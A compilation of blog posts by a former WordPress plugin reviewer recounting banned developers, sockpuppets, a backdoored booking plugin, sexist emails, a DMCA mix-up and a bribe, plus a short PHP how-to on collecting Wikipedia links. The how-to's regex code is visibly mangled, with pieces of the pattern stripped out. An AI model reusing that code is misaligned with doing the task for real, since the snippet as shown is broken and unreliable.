But **we** did not say ‘adult.’ He did. We said “illegal” (regarding the tracking) or “morally offensive” (regarding the scam itself) and while that is incredibly subjective, an MLM is a pyramid scheme. Meaning, the person at the top gets more money the more people ‘buy in’ and the only way for the next person to get money is … get more people to ‘buy in.’
But it’s really telling that the creator jumped right to “Offensive can only be adult!” and not “offensive can be a ponzie scheme.” We don’t like black-hat SEO, we don’t like MLMs.
## Could one work?
Could there, somewhere out there, be a version of this that the directory might accept?
Yes!
We call those *mailing lists and affiliate programs*, but there is a critical difference. Those are being used to collect **CUSTOMERS**. This MLM was collecting ‘partners’ and without consent. So basically they were collecting *marks* for the con.
> \[…\] isn’t my plugin just a tool like any other plugin? I am not promoting a specific company, it is purely a tool to allow users to be more successful in the company they have chosen to promote.
Except they’re not promoting. I actually remember the code. It was basically scraping every ounce of information it could from visitors and the site admin and using it to general a list of marks they could use to build up their pyramid.
> I can understand them not wanting something morally offensive such as plugins which support pornography or other sub-culture pursuits…
Actually we do allow most of those. As long as they’re not vulgar or actively harmful. I’m sure LGBTQ+ is a ‘sub-culture’ to this person.
> \[…\] to single out the BUSINESS of MLM/Network Marketing and related services seems like a real failing, on their part, of their users.
Maybe if the business was ethical I’d feel worse. Instead, I think it was the right call.
**Categories:** How it Was
**Tags:** 9, mlm, scam, stories, wordpress
---
### [Looping LinksWith The WP HTML Processor](https://halfelf.org/2023/looping-linkswith-the-wp-html-processor/)
**Published:** November 20, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** What if you could replace regexing all your content with something less cryptic? With WP 6.1 and up, you can.
**Content:**
Here’s your backstory.
You need to search all the links in a post and, if the link is to a specific site (`wikipedia.com`) you want to add it to an array you output at the bottom of your post, as citations. To do this, you will:
1. Search for tags for every single link (` - Source: `https://en.wikipedia.com/wiki/foobar`
> - Source: Foobar2
While you can do this with regex, you can also use the (new) [HTML Processor](https://developer.wordpress.org/reference/classes/wp_html_processor/) class to do it for you.
## RegEx
As I mentioned, you can do this with regex (I’ll spare you the drama of coming up with this in the first place):
```
$citations = array();
preg_match_all( '#]*href="([^"]+)"[^>]*>.*?#', get_the_content(), $matches );
// Loop through the matches:
foreach ( $matches[0] as $i => $match ) {
// If the URL contains WikiPedia, we'll process:
if ( str_contains( $match, 'wikipedia.com') ) {
// Build initial data:
$current_citation =[
'url' => $matches[1][$i],
'title' => $matches[1][$i],
];
// If there's a title, use it.
if ( str_contains( $match, 'title=' ) ) {
$title_match = preg_match( '#]*title="([^"]+)"*[^>]*>.*?#', $match, $title_matches );
$current_citation['title'] = ( ! empty( $title_matches[1] ) ) ? $title_matches[1] : $current_citation['title'];
}
}
$citations[] = $current_citation;
}
?>
Source:
**Categories:** How To
**Tags:** coding, wordpress
---
### [Plugins: From Banned to Back](https://halfelf.org/2024/plugins-from-banned-to-back/)
**Published:** January 31, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Where in someone is banned, and makes it back. It really does happen.
**Content:**
How about a nice story?
**WARNING:** This post repeats some offensive terms being thrown at people, but it ends happily.
There once was a developer, let’s call him Doug, who put a large donation request that could not be removed on the control panel of their plugin without editing the code. No way to click-and-dismiss. It was just there, like an albatross.
The plugins team pulled the plugin and told Doug why. Sounds normal, right?
Actually not. Here’s a hit list of things Doug said to actual users in the weeks surrounding the closure:
- retarded
- loser
- feeble minded
- idiot
- ‘too dumb to exist’
I think you get the idea. There were also some good ‘your mom’ digs. And by good I mean “Dude, what is *wrong* with you?”
## Where’s the Back?
I think most people can suss out why he was banned. The guy had a really bad month and just took it out on everyone under the sun.
Well. A few **years** later… No, wait, let me loop back.
Three months later, Doug made some fake accounts on WordPress.org to shill his (closed) plugins. Those were removed, and I pinged him to point out he was banned, and please stop.
No reply to that for another couple years. Then, out of the blue, Doug submitted … a new plugin. I hesitated and thought that, since it had been almost 4 years, maybe he was different. So I emailed him and outright asked if this was going to be a repeat of the same shit.
Doug replied that no, he had gotten some much needed mental help and was ashamed of his past. He did not ask for those old posts to be removed, but promised he would not pick fights or call names. He just wanted to make plugins.
It was sincere, folks.
You really can read an email and see that sometimes, and this was one.
His plugin was approved, and he’s been perfectly fine ever since.
## That’s it?
There is a magic to an apology and Doug actually understood it.
1. You actually understand what you did and **why** it was wrong.
2. You sincerely apologize.
3. You take full responsibility for your actions.
4. You focus on the effect your actions had, not their intent.
5. You take steps to make things right.
6. You **don’t** ask to be forgiven.
Oh I know that last one made a bunch of heads turn on a swivel.
Pretty much every ‘How to apologize’ gets into asking for forgiveness.
The problem with that is you start focusing on the wrong thing. The point of an apology is not to be forgiven, it’s to **heal the wound you caused in someone else**. Seriously, you don’t apologize to make *you* feel better, though if you’re a decent human it will do that anyway. No, you apologize because you hurt someone, and that was **wrong**.
Doug shared emails where he’d contacted the people he’d insulted and told them he was sorry. He did that without be asked.
That was it. He was sorry. He didn’t ask, or expect, to be forgiven, he understood he’d hurt people and it was wrong. He made steps to never be that guy again.
And you know what? He never has been Asshole Doug again. But he is a rare bird.
Doug’s story always reminds me, when I’m the asshole, that I need to be sincere when I apologize. It’s a good lesson for all of us.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: When it Restarted](https://halfelf.org/2024/plugins-when-it-restarted/)
**Published:** January 3, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A return of the booking plugin drama, with a repeat method.
**Content:**
The first post in this series talked about [the time when it all changed](https://halfelf.org/2023/plugins-when-it-changed/).
The perfect post to start the year off with is when it happened a second time.
## The Return
One day, IRC pinged the support/forum mod email list to tell folks there was a new booking plugin (ReBooker Inc.) that would **reinstall** once removed.
While looking into that, the wp-forums folk noticed that all but ONE review was made by one of two IPs. One IP was the owner’s, the other was used by multiple accounts, the same age, with only the one post. Then `#wordpress-sfd`, who was also poking at this, noticed “Hey, this plugin makes an admin account!” It was yanked from the repository and the author emailed.
This is when it gets weird.
All of that previous stuff was reported to the plugin review team, which is normal. But then one of the forums people helping me clean up pointed out that Rebooker looked an *awful lot* like Bookings Inc’s plugin.
I remembered that plugin, and I remembered good ol’ **Liam**! Liam had broken his contract, taken premium code, and gave it away for free on .Org. He was permabanned for that, especially since he did a shit show with fake emails.
## Blame It On The Devs
It didn’t take a huge amount of time to figure out that ReBooker was Booking Perfection. Altered, yes, but you can’t change code that much. Still, before we banned we properly suspended ReBooker for the following reasons:
1. Auto creating an admin account
2. Reinstalling once removed (done via a backdoor they’d leave in MU plugins)
Of course while we were sorting out if the two plugins were the same, ReBooker came back and said “Oh we’re so sorry, we hired a 3rd party to do this for us and they were evil! We fixed it!”
That is a plausible story. And in fact it’s one that’s happened many times. Some people need to vet their devs better. At this time there was a rash of “consultants” who stole code (around this time a rather well known company had admitted to ‘stolen code’ and blamed an unchecked dev).
In fact … just the week prior, Plugins had heard that exact excuse from someone else. It happens, but not that often. Most large companies are smart enough to have a QA system and encourage honesty. If you’re not, get started on that.
But even if you believed the claim of a rogue dev, the claim of “we fixed it” is easily provable. Or in this case, disprovable. Not a single commit to SVN.
## Never Interrupt Your Enemy …
… When they’re making a mistake.
Besides not updating SVN at all, they’d taken to hate-reviewing their competition. But their massive problem here was in their IP addresses. Or should I say, *Liam’s* IP address.
One person made a bunch of fake accounts to negatively review all other Booking plugins. The same person who had made all their commits. The same IP address. And no, it was not a VPN address.
First, we gave Liam a small opportunity to come around, by providing clear directions while we double checked he was, in fact, Liam.
> You have not corrected any of the issues. Your plugin still creates an admin account when installed, and you have now begun “reporting” other competitors plugins by giving them disparaging comments in the forum.
>
> If there is an issue with a plugin, email plugins\[@\]wordpress.org and provide explicit code or plugin guideline examples. We ask you not waste our time with frivolous or petty arguments with others.
>
> Until your own code issues are corrected and checked in to our repository, we will not reopen your plugin. This is not negotiable. Fix the code. Make it safe and secure. Stop spamming the forums. That’s all you have to do.
You’d think this was simple, right? Just update and fix your damn code. Nope. Two days later, Liam emailed back to complain that he’d made changes and why didn’t we reopen, but again nothing was being pushed out.
Now it’s more clear today, but even back then we clearly told people “if your plugin is closed, pushed code *won’t* get deployed to your users.” We tell people that so they understand they can push code to SVN freely without fear of upgrading anyone before we’re all ready.
## Take a Chance
At this point SVN still was not fully updated. They’d updated the readme, and a couple lines of code, but the plugin still auto-created an admin, and we were still doing the leg work to connect the ReBooker and Booking Perfection websites.
Since there was no need to re-review, Liam was emailed:
> Understand that due to the severity of the issues with your plugin, it may be a few days before we have reviewed your plugin completely and replied. We ask that you be patient, and especially that you don’t email us every day asking for an update. We’re volunteers here, and we do this in our free time. If we determine we need to get a security expert to double check, this can take longer.
Keep in mind, Liam had been emailing multiple times a day asking the exact same thing – why wasn’t the plugin updated? Answer: Because Liam hadn’t updated!
I was starting to wonder if the story was true, that ReBooker had maybe hired Liam, and he was just doing all this shit on his own. But finally we had lined up enough code proof that ReBooker was totally a copy of Booking Perfection. We had to acquire the new version of Booking Perfection, but they were a line to line match in multiple places.
Here’s where I’m the asshole. I **never** told Liam I knew it was him. Instead, I emailed that it was something a little less.
> We are not comfortable with the established of your behavior on WordPress.org. There is enough similarity with both code and behavior to lead us to believe that your plugin is one that was written by someone who already had their code removed from the repository due to breach of contract. As you claim to have hired a third party to write this, it’s entirely possible they did this, however as it stands, we cannot re-open this plugin.
>
> You are free to continue running your site and making the plugin available on that site or elsewhere. All we can control is what plugins we allow in the plugins directory, and we won’t be allowing yours \[…\]
See? I intentionally misled him to think the only issue was “the consultant you hired” and how it made the plugin unable to be hosted on WordPress.org.
## The Poison Tree
Liam took that lump and was quiet for three more days. Then he asked if there was any way he could come back. Going with the ruse, I replied that they could never submit another booking related plugin because there would always be the risk of them using Booking Perfection code, which was a GPL violation. For the protection of the directory, no.
So he tried to appeal to empathy.
> If you find anything which is not good or which is causing problems, i would say we are very happy to change that, but directly putting us out of business is not good.
Signed?
Liam.
Note: We *only* closed their plugin on .org. They’re free to run their own shitty business if they want to, and while it was harder to self host and deploy back then, it was totally possible. Today the email actually gives practical advice on doing that, just so people get that we’re not trying to ruin their business, but we cannot host them.
I emailed back no, and Liam replied.
> It will cause a deep loss to us and all of the hard work is drained. I would request you to please give us a chance to prove ourselves. We have done nothing wrong or morally offensive which cause any problems to anybody.
Sock puppetry, forced admin accounts, bad code, and lying? They offended me. There were six more pleading emails, one a day, until collectively the Plugins team told him he was banned.
## Mistakes Were Made
The reason Liam was banned (again) was only in small part because of multiple emails. It was more the content of them. At no point did Liam even remotely comprehend that the code was the issue. We were trying hard to push that aspect since I believe telling someone “you’re the dipshit we banned last year” only encourages people to be bigger assholes.
He made a new submission in the Plugin Repo, was rejected and told “Dude, we can *tell it’s you*. Stop.” Of course, while waiting for approval, he made more false allegations to other plugins (and yes, each one was checked just in case), used another forum account for more sock puppetry and fake reviews, and then was blocked.
Then he made another plugin and tried a third time.
The best part about all this is he keept emailing plugins, asking to restore his plugin.
So let’s recap. So far he has:
1. Submitted someone else’s plugin and had it removed by use
2. Resubmitted the plugin, making it different enough we didn’t notice right away, with a different domain and IP, but with a massive security hole (which is how we realized he was the guy from 1) and had THAT removed
3. Spammed the forums with fake reviews of his own plugins via sockpuppet accounts
4. Spammed the forums with fake reviews of OTHER plugins, mainly competitors, citing them spuriously for errors that don’t exist (including, but not limited to, claims of using their own jquery – Like we can’t QUICKLY check for that!)
5. Made even more sock puppet accounts to submit the plugin
6. Continually emailing plugins, asking us to reconsider because they’re not doing anything wrong, and by gum, those other plugins are breaking rules too (not)
7. Complained we’re ‘hurting his reputation and business’
Two days later they came back and upped his game to attempting to impersonate me (not plugins!) by sending emails ‘from’ the plugins team.
## This Shit Again?
That was the final proof we needed to identify Liam was … Liam.
> Subject: Offline Message from Mika Epstein: We have found both your plugins
>
> http://wo…
>
> From: Zopim
>
> To: xxx-removed
>
> Date: Mon, 22 Apr XXXX 07:22:26 -0000
>
> Message-ID:
>
> Reply-To: Mika Epstein
>
> From: Mika Epstein
>
> URL: http://redaced.com/
>
> We have found both your plugins
>
> http://wordpress.org/extend/plugins/redacted-1/ and
>
> http://wordpress.org/extend/plugins/redacted-2/
>
> to be same and you are using multiple a/c’s to handle it yourself over
>
> our domain. Unfortunately, we wil be banning you now from WordPress.
>
> —-
>
> Zopim http://www.zopim.com
Most of the emails were sent at 1am my time.
Zopim, now owned by ZenDesk, was *never* the service we used to send emails. And that sounds nothing like our emails. Also? I never put my name in the subject lines.
But Liam, being an idiot, didn’t realize that his actual email address was in the email headers. I laughed a lot.
Liam was banned again, and we spent another week just rejecting and blocking and banning before we finally slapped an IP ban on him for a month. That seemed to either wake him up, or he wasn’t capable of bypassing it and gave up.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: Just Sexism](https://halfelf.org/2023/plugins-just-sexism/)
**Published:** December 20, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** These encounters are pretty normal to anyone who doesn't identify as male, and uses the internet.
**Content:**
This is the last one for the year and it’s a couple people who are just plain idiots about the world.
I wanted to find the one where the guy went into a massive transphobic rant about ‘real women’ but since I can’t remember the exact term he used, I’m struggling to find it. If I do, that’ll get added.
## To Sir, With Love
A lot of people default to ‘dear sir’ in emails to Plugins. I, being not a sir, have a pre-defined reply I used to remind them the Internet has women and women code, moving on.
> FYI, you shouldn’t assume the people reading your email are only male. You often won’t know someone’s gender in email. It considered more universally polite to address a group (or an individual) by name or team name.
That’s not terrible, right?
Once in a while people are asshats and tell me not to be so touchy and I make a note of that in their account (it usually comes back to haunt them). More often, though, they apologize and explain they’d not been taught that, and we all learn from this experience.
Similarly I tell people not to call a reviewer ‘My dear’ because that implies a relationship we do not have. That’s easy to mess up when you’re ESL, and the reply actually explains that you would say “Dear Reviewer” instead. This is, generally, well received. I’ve only caught a couple complaints and one was a guy from Texas, who got livid I suggested his English wasn’t too good.
It really wasn’t.
## Daily Life of Women Online
Starting off simple with some nameless people. All of these are comments or weird replies I got in the process of plugins.
First up, we have this cheerful fellow who, after being corrected about calling me ‘sir’ for a couple DAYS, finally replied with this:
> Btw I saw ur talk on wordpress.tv yesterday, and realized that you’re a lady (a gorgeous one!).
Then we have this weird Slack Message from someone I never talked to before:
> Thank you Mika you made my day love you.
And also this one, later that day from someone else.
> Just love you for what you did to me today 🙂
Shortly before WCUS (the second or third one):
> Hi.. good to see u on wcus speakers.. getting my tickets to fly US from PK for the show
> Best of Luck
This one came via my contact form, after a plugin was rejected (because he never finished fixing it). My mother would argue that I am, in no way, ‘too’ feminine. My wife would say I’m perfectly feminine. Me? I’m happy with who I am.
> P.S. Yeah… I understand you have no obligation to reply… or to do NOTHING. With that sentence you proves very feminine, perhaps TOO feminine…
And of course, Mr. Hugs.
> Corrections made, is attached the new version.
>
> hugs
In case you gents were wondering what it’s like to be a woman online, it’s that.
## If You Have to Ask…
Mid review, there was this one:
> p.s.
> Before contacting, I looked you up on the net, and when I realized that
> you’re girl and having this much passionate for coding, my respect
> grew²
> (hope this didn’t sound sexist)
It did. And I replied to him, telling him it was sexist. He did not take that well.
## Gender Is a Construct Anyway
This fellow started by going off about his plugin being ‘rejected.’ It was pended (and he’s why the email tries to be SUPER clear about that now), but he didn’t read. I suppose I should’t have been shocked when he replied to the ‘Sir’ reminder like this:
> FYI: When you correspond with people, you should give your name so they don’t have to guess whether you are male, female, shemale, or a fourth gender.
‘shemale’ was a term that was used to call transwomen back in the 80s/90s, but we’ve come a long way since then. Also it was wrong then, and it’s wrong now. This guy may later get his own post, because he made a petition to get me ‘fired’ for telling him to sanitize his shit.
## It’s a Cycle
First up, we have Bumper for anyone who likes *Pitch Perfect*.
> I sincerely apologize for unconsciousness caused by my address. I am just 27 this month and have never been lucky enough to see any female programmer. Maybe their menstrual cycle affect their ability to pay high level of concentration in this field. But I really appreciate the ones who break the ice.
>
> Bumper
In the end, I rejected the plugin because **everything** was filled with that kind of tone after. Seriously, he stuck to his guns that women couldn’t dev, and went on to posit I was menopausal. Or rather … past my prime. Yes, he actually suggested I was able to succeed as a plugin reviewer because I must not have to deal with my period anymore.
## Boop Beep Robots
Buggy (also not his real name) had trouble with his account. He emailed asking for help, and started with “Dear Sir”
He got the normal reply, followed by directions to actually help him.
> Foolishness has many levels, yours is very polished, thus shiny!! Who cares who read the email, i just needed an answer. If you feel the email was meant for a male reader, you could hv put aside the email until a passing male reply that!! However I appreciate you CAREfree attitude to reply me. Thank you human/robot!!
Not really sure how it’s foolish to remind folks that people of all genders work on WordPress, but off you go to the block bin, Buggy.
## Don’t Default To Sir
The last thing WordPress needs are people that misogynistic, and dumb, dealing with people in the community.
If you can’t accept that some people in WordPress aren’t men, you need a new hobby.
**Categories:** How it Was
**Tags:** plugins, sexism, stories, wordpress
---
### [Plugins: D.M.C.A](https://halfelf.org/2023/plugins-d-m-c-a/)
**Published:** December 6, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Young man, keep your code on the web, I said. Young man, don't send a takedown instead, I said. Young man, 'cause you're hurting yourself. There's no need to bug the half elf ....
**Content:**
This is really more of a cautionary tale about how not to be an asshat to *yourself*.
Go make the popcorn, I’ll wait.
Welcome back! Here’s our story.
A developer got banned from WordPress.org (temporarily) because they slapped themselves with a DMCA.
No, really. Evan (not his real name) filed a DMCA that went to the data team, who handed it to Plugins and asked “Uh, what the hell?” I looked into it, read it a few times, and confirmed.
1. It was a legit DMCA
2. Evan was the plugin owner
3. He *had* authorized a company to act on his behalf for DMCAs
4. The company claimed Evan’s plugin on WordPress.org was in violation
Yeah, you read that right. Take down these illegal copies of Evan’s own plugins… Except the plugins were Evan’s and were clearly **not** illegal copies. We read that a few times and decided it was one of these:
1. They’re weird and don’t know it’s their own plugins
2. Evan wasn’t thinking and just approved everything from the company
3. It was a false claim
On Monday I emailed the DMCA company and Evan to ask that. Neither of them replied. I checked with the legal folks and they agreed, we *had* to close the plugins and notify Evan of the situation. Since the DMCA said it *should* be passed on to him, I shrugged and did just that.
Three days later, Evan shows up freaking the fuck out for pretty obvious reasons. He explained he’d used a computer program/service to send out the DMCAs and no one checked before sending.
Playing middle-man, the plugin team passed on the details and explained that things were … not going to be quick. They got directions on how to formally retract the DMCA notice, and advice about that. The only other option we had was to file a counter-notice, but that would take weeks.
It took about a week after that to untangle the fuckery.
The kicker was it happened a second time, but Evan caught that super fast and fixed it before we had to take action. I suggested he just not try that shit again anyway, since his code was GPL to begin with.
## Coda
There is an interesting though here, though.
Is a DMCA valid for Open Source code? The Digital Millennium Copyright Act is intended to protect copyright (it’s right there in the name). It exists to prevent people from taking a copyright protected item (say … a copy of an episode of *The Simpsons*) and posting it up on your own website. You don’t own the show, you don’t own the intellectual property, you’re just a fan.
But Open Source code is meant to be shared, right? That’s one of the first rules (… open …). The right to take the code, tear it down to the bones, and build something else from it. The entire existence of WordPress literally lives on that (remember WP is a fork of B2).
Could B2’s creator turn around and sue Automattic (or the WordPress Foundation) for copyright abuse?
Thankfully, no. WordPress properly keeps the copyright in place. If you’ve ever heard me snark about copyright and how it’s additive, the easiest way to understand is this. If you take an existing plugin and refactor the code to make it even better, you would add your copyright notice on to the existing one.
`@copyright Person A, 2022` becomes `@copyright Person A, 2022 ; Person B 2023`
Though I recommend you do it nicer and neater.
Anyway. There are two main kinds of DMCA attacks against Open Source. The first is “That code is my copyright, stop using it!” and the second is “That code is circumventing a technical protection measure.” If the second one confuses you, don’t feel bad. I am very familiar with the first item (I’ve hosted fansites for 25 years and had my fair share of DMCA claims) but the first time I ran into the second was when YouTube forced GitHub to remove a library.
In the end, GitHub restored the code ([and explained why](https://github.blog/2020-11-16-standing-up-for-developers-youtube-dl-is-back/)). Anticircumvention claims pretty much boil down to “This code is used to get around my protections” and is why people who make those DVD ripper tools are often in trouble (and in fact they’re why the DMCA happened in the first place). None of that matters in this fellow’s case though.
The question is … Does Evan have a valid DMCA claim?
Honestly, I don’t think so. Taking someone’s code and reselling it as your own is likely illegal for other reasons, and there may be some merit to any images or proprietary work used. But at the same time, the code was released under a license that literally allows its use as such. Now the GPL also has some requirements (like maintaining copyright, as well as not claiming it’s yours) but re-hosting code on your own site? Yeah, you can do it.
Still, that’s a question for a lawyer, and not me. For me, what I stand by is that if ain’t your code, and the developer(s) ask you to stop selling, or giving it away, you should do what they asked. Don’t be a dick. Be cooperative together.
**Categories:** How it Was
**Tags:** dmca, plugins, stories, wordpress
---
### [Plugins: Finally, a Decent Bribe!](https://halfelf.org/2023/plugins-finally-a-decent-bribe/)
**Published:** November 22, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's a bad Three Stooges tale when one person makes three 'company' accounts and spams for all.
**Content:**
There was a problem company.
Among other infractions, they’d sockpuppeted a few years back but calmed down. Or so we thought. Then the forums team pinged Plugins with a list of **415** separate user accounts. You read that correctly. But it was worse than it seemed. Using l33t DNS skills, we traced the sock puppets to not one, not two, but *three* separate accounts!
Three. Separate. Plugin developer. Accounts. No, it’s **not** a return of [Zorro](https://halfelf.org/2023/plugins-mask-of-many-faces/)!
Let’s call them Shemp, Moe, and Curly!
## The Three Stooges
When I got reports about fake accounts, I always pull up the plugins to see if I’d left notes. One of the things the notes includes is adding and removing people with commit or support access, and via that I was able to see they’d been trading plugins between the three accounts. The same 6 or 7 (I forget the exact number) plugins would add one of the other people to the plugin, remove themselves, and then repeat it a few months later.
People like this actually why we now track when people are added to plugins and when the ownership is transferred. It’s generally a bad-faith move to swap around that much, and honestly I’ve never understood why people would bother.
So I did what I do and checked the submission IPs. Lo, Shemp had used multiple IPs to submit their plugins, and two of those were used by Moe and Curly. That of course isn’t rock solid proof, so I sent three *slightly* different emails to each one.
- **Moe** had their plugin closed and was told that for the sin of egregious sockpuppeting (most of the fake reviews had to do with their plugins) they were banned. Also since Moe had been warned before, they weren’t getting back in. This was strike three for the same offence.
- **Curly** was told that their plugins were closed because account was connected back to another which had seriously violated the guidelines, and could they please explain the connection so their plugin could possibly be restored.
- **Shemp** was told that DUDE WHAT THE HELL? Banned for super spamming, making multiple accounts, etc etc. I told him there were over 500 accounts, though.
Only Shemp replied.
## Confessions of a Stooge
Shemp’s reply was …. interesting. First he argued they’d had no violations for a month (which is confirming the previous issues), he then admitted that Moe was indeed his other account, and asked for another chance. After all, he had hired a marketing company and it was all their fault. Oh and by the way, Shemp was *partners* with Curly.
So I pointed out Curly had been emailed separately and if they were indeed a separate company, Curly should *reply* to that email. (Narrator: they did not and have not). Then I explained that when you hire someone to do a job and they fuck up, it’s your responsibility. Especially when you hire a company that does that level of spamming after you’d been warned specifically about it three separate times.
Shemp replied, saying he understood how serious the matter was (doubtful) and was accepting responsibility. Please have mercy for people who did honest work. Except the part about the sockpuppeting and multiple accounts. Please give Shemp and his company a second chance.
Technically it was their fourth. And frankly after you’ve been warned once to not make fake accounts, a business should have the sense to stop. Or, as I said:
> Making the same mistake three more times after you were warned means you either didn’t care enough to monitor your consultants or you didn’t think we were serious when we told you the last time that repeat offenses will result in being banned.
>
> Me to Shemp via email
This was followed with a reminder of how one can host code outside of wp.org, have a nice day.
## Time for Eye Poking
Shemp said he was **shocked** to know it was this bad. Shemp had also gotten and opened (and I presume read) an email with the subject **FINAL WARNING RE BEHAVIOUR ON WORDPRESS.ORG**. In all caps. It detailed out everything with fake accounts. Shemp was stunned this ended with the ban I said it would. I know he opened it because we track that.
This means that Shemp was warned about sock puppets **three** **times**, but he continued to hire the companies that made the fake accounts, and he was surprised there are consequences? The ‘reason’ for the mistake is probably that the separate teams that used the separate accounts were unmonitored and unmanaged, allowing them to do whatever they wanted. And see, this is why multiple accounts like that is stupid.
Then came the best bribe I ever got!
> I have an offer for you. 50% of revenue lifetime, not the income but revenue for you!
>
> Shemp via email to Plugins
Admittedly, his revenue was probably pretty slim, but it was way better than the $10 and $50 bribes I usually got. Oh and Shemp promised to never tell anyone I accepted a bribe.
How does that saying go? Two can keep a secret if one is dead?
Declined. Banned harder. Curly and Moe (being probably all Shemp) never replied.
## PS…
A week later, Shemp slacked me and offered to ‘fund’ LezWatch.TV for me. Which led to him getting banned on Slack when I mentioned it to the admins.
Later I told my forum sock-puppet-hunter friend about this, and he asked why I told them fake numbers for the amount of sock puppets. I like to give them wrong numbers on purpose. Once I told someone he had 20 sock puppets and he argued he only made 10.
It’s like working with toddlers some times.
**Categories:** How it Was
**Tags:** bribery, plugins, sockpuppets, wordpress
---
### [Plugins: What a B*tch](https://halfelf.org/2023/plugins-what-a-btch/)
**Published:** November 8, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A very short story about someone who just hates.
**Content:**
The old tagline on this site was “Half Elf, Full B.I.T.C.H.”
I removed it ages ago because, while I got the joke, it didn’t always translate well. The tagline was actually from Tabatha Coffey, who was a contestant on a Bravo reality show *Sheer Genius*, trying to find the best haircutter. The show was awful, Tabatha was not. She had her own show for a while, *Tabatha’s Salon Takover*, and she was basically the Gordon Ramsey of haircuts.
At some point, she ‘took back’ the word “bitch” and said it stood for Brave, Intelligent, Tenacious, Creative, and Honest.
I like to think I’m that.
Anyway. This is short and our subject won’t even get a name. That’s how annoying he is.
User submits a big plugin. On review, which doesn’t take long, it’s found to be a rebranded copy Elementor. It wasn’t even a well done copy, it barely changed name and there was no new code. The plugin was rejected with the normal note of “hey, this looks like you meant to upload a plugin to your site. We’ve rejected it. Please don’t do that.”
The email is actually pretty kind and explains what the plugin submission form was for and all, and how to properly upload to your own site. While it’s weird to me, that issue happens all the time, and it’s part of why we have code that checks the name and auto-prevents you from uploading things with the same name (even if it has a different slug).
The reply?
> you bitch.
I thought that was a little extreme and suspended the account, emailing the standard boilerplate to explain why (tl;dr – jumping to that is just not something a mature human should do).
Our edge lord du jour snaps back:
> you call that extreme? you asked for it because you’ve rejected my plugin!
Okay, kid. Have a nice life.
He was never heard from again.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: Sex and Gutenberg](https://halfelf.org/2023/plugins-sex-and-gutenberg/)
**Published:** October 25, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Someone hated Gutenberg so much they made everything about it, and decided we all got drugs from Automattic. Not kidding.
**Content:**
Look, I get that a mess of people hate Gutenberg. I like it, but that’s my opinion and that’s okay. I’m fine if you hate something I like, it doesn’t hurt me at all. What I *don’t* like are people being jerks to Gutenberg devs. In fact, I truly dislike people who are just mean to **anyone**, Dev or not. One of my weirder jobs as the Plugin Rep was balancing protecting users and protecting developers.
It gets really weird when the developer is the user.
## I Hate Gutenberg
That’s how we’ll start this one. Alan (not his real name) hated Gutenberg and posted a ‘review’ that was basically offering to bribe Automattic to stop making it. The forum mods very nicely said “hey man, this isn’t a real review, could you do that instead?”
Alan…
> *I was under the impression that ultimately Automattic is in control of the WordPress Core. If not them, then someone is, the buck stops somewhere. The drive to make this core is most likely coming from wordpress.com, an Automattic asset that uses themes that do not include a page builder.*
>
> Alan on the WordPress.org Forums (post redacted)
He went on to try and argue about usability etc. Now, to his credit, this was in the early days when it absolutely had some accessibility issues. It was also at the era that it was en vogue to bash Gutenberg … I’m not sure that era has ended yet. But basically Alan, no. WordPress.org is not going to stop developing Gutenberg. And no, Automattic doesn’t rule the world.
The thing that was a little interesting is that Alan had left a few other turds of reviews (the eloquent “Don’t waste your time.” and using reviews for support). Five months prior, he’d got shirty about a review being moderated and not approved in a ‘timely’ (i.e. 5 minutes) fashion. Seriously. Five goddamn minutes.
## Kickbacks?
The weekend rolls around. Most people are off enjoying the world and not WordPressing. That’s when Alan uses his second account to leave another review. His second account was, interestingly, the one he used to own his plugins. You can see how this landed in my lap.
His other account was the one I was familiar with since he’d had a weird complaint that WooCommerce wasn’t accepting new plugins on their site a couple years ago, and he tried to buy someone’s plugin so he could be there. Alan also left a bunch of crappy reviews as that account, including a rant that someone charged people for their service (admittedly that plugin did do an asshat move by switching from free to pay, but still, the review was “They charge!” and not “The plugin sucks because …!” which is different).
So on the weekend, Alan runs into another post by someone who mentions a plugin they’re using is conflicting with something. This was **not** Alan’s plugin. But Alan decided he’d fix it. He replied three times within 30 minutes that he was going to fix it, had ideas about fixing it, and had a fix. The robots (aka Akismet) flagged him as spam for the rapid posting and content since it had links.
This happens, but it rarely requires anyone to ask this:
> Can a moderator please approve my posts above? I have posted a fix.
>
> Yes, I know this plugin is bad for your askimet kickbacks, but we want this, not askimet.
>
> Alan in the Forums on a Sunday
Kickbacks? Akismet? I guess he realized he was caught as spam.
And what does Alan do? He gets his other account, the non-plugin-dev one, and repeats his posts with this added on:
> *Wow, speak your mind around here, and get the silent treatment. Core needs a fork soon. Ever since Gutenberg actually. Clearly (sexual?) favors are being exchanged, why else would automattic include changes that almost nobody wants, and actively hates?*
>
> Alan in the forums on a Sunday via his alt account
… What?
## You Read That Right
Yes, Alan said sexual favours were exchanged for … Gutenberg? Which had nothing to do with this plugin nor its conflict. And he wasn’t being given the silent treatment, it was a goddamn weekend, and I’ve spent over a decade telling the volunteers of WordPress to take a fucking weekend off!
Forums reported him to Plugins and I read it on Monday. In the intervening hours, there were more complaints, from both accounts, and more rants that had nothing to do with the plugin that Alan was fixing. Given that he had **already** been warned the year before about making everything about his Gutenhate …
Alan clearly was incapable of (or unwilling to) restrain himself from ad hominem attacks and making everything about Gutenberg. In fact, if we go to tape, the year *prior* he claimed someone in Switzerland controlled all emails. The thing was, he just … posted that on .Org.
Not as a reply, not as a comment about a plugin or theme.
Not as related to a WordCamp.
The post was really just “This website \[WordPress.org\] controls all email and are using their power to destroy my business.”
It was clear to me what had to happen.
> Besides the fact that you were posting on a weekend and we are a 100% volunteer run service, accusing people of sexual favors in this manner is an egregiously unwelcome way in which to behave in public. It is aggressively offensive, rude, and in violation of multiple forum and plugin guidelines.
>
> Using a second account with which to make those comments shows you did this absolutely with malicious intent. You didn’t even wait an hour between asking your post to be approved and leaving such a comment. This behavior is an escalation to your aggressive, and incorrect, attack on Automattic regarding Gutenberg last year.
>
